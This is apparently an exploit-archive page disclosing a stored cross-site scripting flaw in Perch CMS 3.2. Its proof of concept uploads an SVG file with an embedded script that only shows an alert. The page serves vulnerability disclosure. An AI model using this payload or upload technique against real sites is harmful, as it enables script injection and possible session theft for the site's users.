Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Perch 3.2 Cross Site Scripting[6]
- Authored by Mirabbas Agalarov[7]
-
Perch version 3.2 suffers from a cross site scripting vulnerability.
- SHA-256 |
857be8f454e0bb27f7ebf019a8d5becfbf6adbf1575d003c2fa201bdabcc2ea3 - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs: XSS
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
steps:
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file
"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
"""
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)
File Tags
- ActiveX[18] (932)
- Advisory[19] (81,739)
- Arbitrary[20] (16,155)
- BBS[21] (2,859)
- Bypass[22] (1,735)
- CGI[23] (1,025)
- Code Execution[24] (7,238)
- Conference[25] (679)
- Cracker[26] (841)
- CSRF[27] (3,334)
- DoS[28] (23,364)
- Encryption[29] (2,365)
- Exploit[30] (51,634)
- File Inclusion[31] (4,209)
- File Upload[32] (967)
- Firewall[33] (821)
- Info Disclosure[34] (2,755)
- Intrusion Detection[35] (891)
- Java[36] (3,036)
- JavaScript[37] (851)
- Kernel[38] (6,641)
- Local[39] (14,428)
- Magazine[40] (586)
- Overflow[41] (12,666)
- Perl[42] (1,423)
- PHP[43] (5,138)
- Proof of Concept[44] (2,337)
- Protocol[45] (3,583)
- Python[46] (1,531)
- Remote[47] (30,666)
- Root[48] (3,575)
- Rootkit[49] (508)
- Ruby[50] (612)
- Scanner[51] (1,637)
- Security Tool[52] (7,876)
- Shell[53] (3,177)
- Shellcode[54] (1,212)
- Sniffer[55] (894)
- Spoof[56] (2,196)
- SQL Injection[57] (16,307)
- TCP[58] (2,397)
- Trojan[59] (687)
- UDP[60] (885)
- Virus[61] (664)
- Vulnerability[62] (31,711)
- Web[63] (9,622)
- Whitepaper[64] (3,748)
- x86[65] (961)
- XSS[66] (17,866)
- Other[67]
File Archives
- July 2023[68]
- June 2023[69]
- May 2023[70]
- April 2023[71]
- March 2023[72]
- February 2023[73]
- January 2023[74]
- December 2022[75]
- November 2022[76]
- October 2022[77]
- September 2022[78]
- August 2022[79]
- Older[80]
Systems
- AIX[81] (428)
- Apple[82] (1,994)
- BSD[83] (373)
- CentOS[84] (57)
- Cisco[85] (1,922)
- Debian[86] (6,794)
- Fedora[87] (1,691)
- FreeBSD[88] (1,244)
- Gentoo[89] (4,322)
- HPUX[90] (879)
- iOS[91] (349)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (67)
- Linux[95] (46,241)
- Mac OS X[96] (685)
- Mandriva[97] (3,105)
- NetBSD[98] (256)
- OpenBSD[99] (484)
- RedHat[100] (13,599)
- Slackware[101] (941)
- Solaris[102] (1,610)
- SUSE[103] (1,444)
- Ubuntu[104] (8,755)
- UNIX[105] (9,269)
- UnixWare[106] (186)
- Windows[107] (6,565)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]


